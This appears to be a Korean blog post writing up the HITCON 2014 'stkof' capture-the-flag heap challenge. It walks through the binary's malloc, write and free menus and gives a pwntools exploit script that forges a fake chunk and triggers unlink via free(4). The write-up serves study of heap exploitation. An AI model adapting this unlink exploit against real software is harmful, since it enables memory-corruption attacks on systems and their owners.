-
HITCON 2014 stkofCTF 2016. 11. 26. 23:39
fake chunk를 만들어주는 문제, 일단 unlink는 호출했고, 이게 fastbins 에서 익스하는 문제란다.
malloc pointer를 fd와 bk에 넣어줘도 제대로 안되는거때문에 나중에 풀어야겠다
1번메뉴는 아래와 같다.
fgets로 malloc size 를 입력하고 할당해준다.
malloc pointer는 s 변수에 담긴다. s는 주소를 아는 변수이다.
2번메뉴는 다음과같다.
할당된곳에 fread로 입력을 받는다. 데이터를 채울 수 있는 부분이다. 여기서 fake chunk를 만들어 줄 수 있다.
3번 메뉴는 다음과같다.
만들어진 chunk를 free해주고 malloc_ptr을 초기화해주는 역할을 한다.
이 3개의 메뉴로 unlink를 호출하게끔 만들면된다.
다음 익스를 보면 이해가 빠르다.
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374from pwn import *p = remote("10.211.55.3",9905)def malloc(size):p.sendline("1")p.sendline(str(size))print p.recvuntil("OK")def write(idx,size,data):p.sendline("2")p.sendline(str(idx))p.sendline(str(size))p.sendline(data)print p.recvuntil("OK")def free(idx):p.sendline("3")p.sendline(str(idx))print p.recvuntil("OK")def idx_list(idx):p.sendline("4")p.sendline(str(idx))print p.recv(1024)print p.recv(1024)raw_input()malloc_ptr = 0x602100malloc(0x80)malloc(0x80)malloc(0x80)malloc(0x80)malloc(0x80)free(2)#chunk 1payload = "A"*0x80#chunk 2payload += p64(0x0)payload += p64(0x91)payload += "B"*0x80#chunk 3payload += p64(0x90)payload += p64(0x91)payload += p64(malloc_ptr-24)payload += p64(malloc_ptr-16)payload += "C"*0x70#chunk 4payload += p64(0x90)payload += p64(0x90)payload += "D"*0x80#chunk 5payload += p64(0x90)payload += p64(0x91)write(1,len(payload),payload)free(4)p.interactive()cs chunk 4의 prev inuse 를 0으로 셋팅하고 마지막에 free(4)를 통해 unlink가 호출되게끔 했다.
'CTF' 카테고리의 다른 글
Plaid CTF 2014 ezhp (1) 2016.11.28 [Belluminar 2016] remuheap (2) 2016.11.27 HITCON 2016 secret_holder (0) 2016.11.23 [HSOC] Find Me!! (Reversing 400pt) (0) 2016.11.06 [HSOC] ConsoleRPG (0) 2016.11.06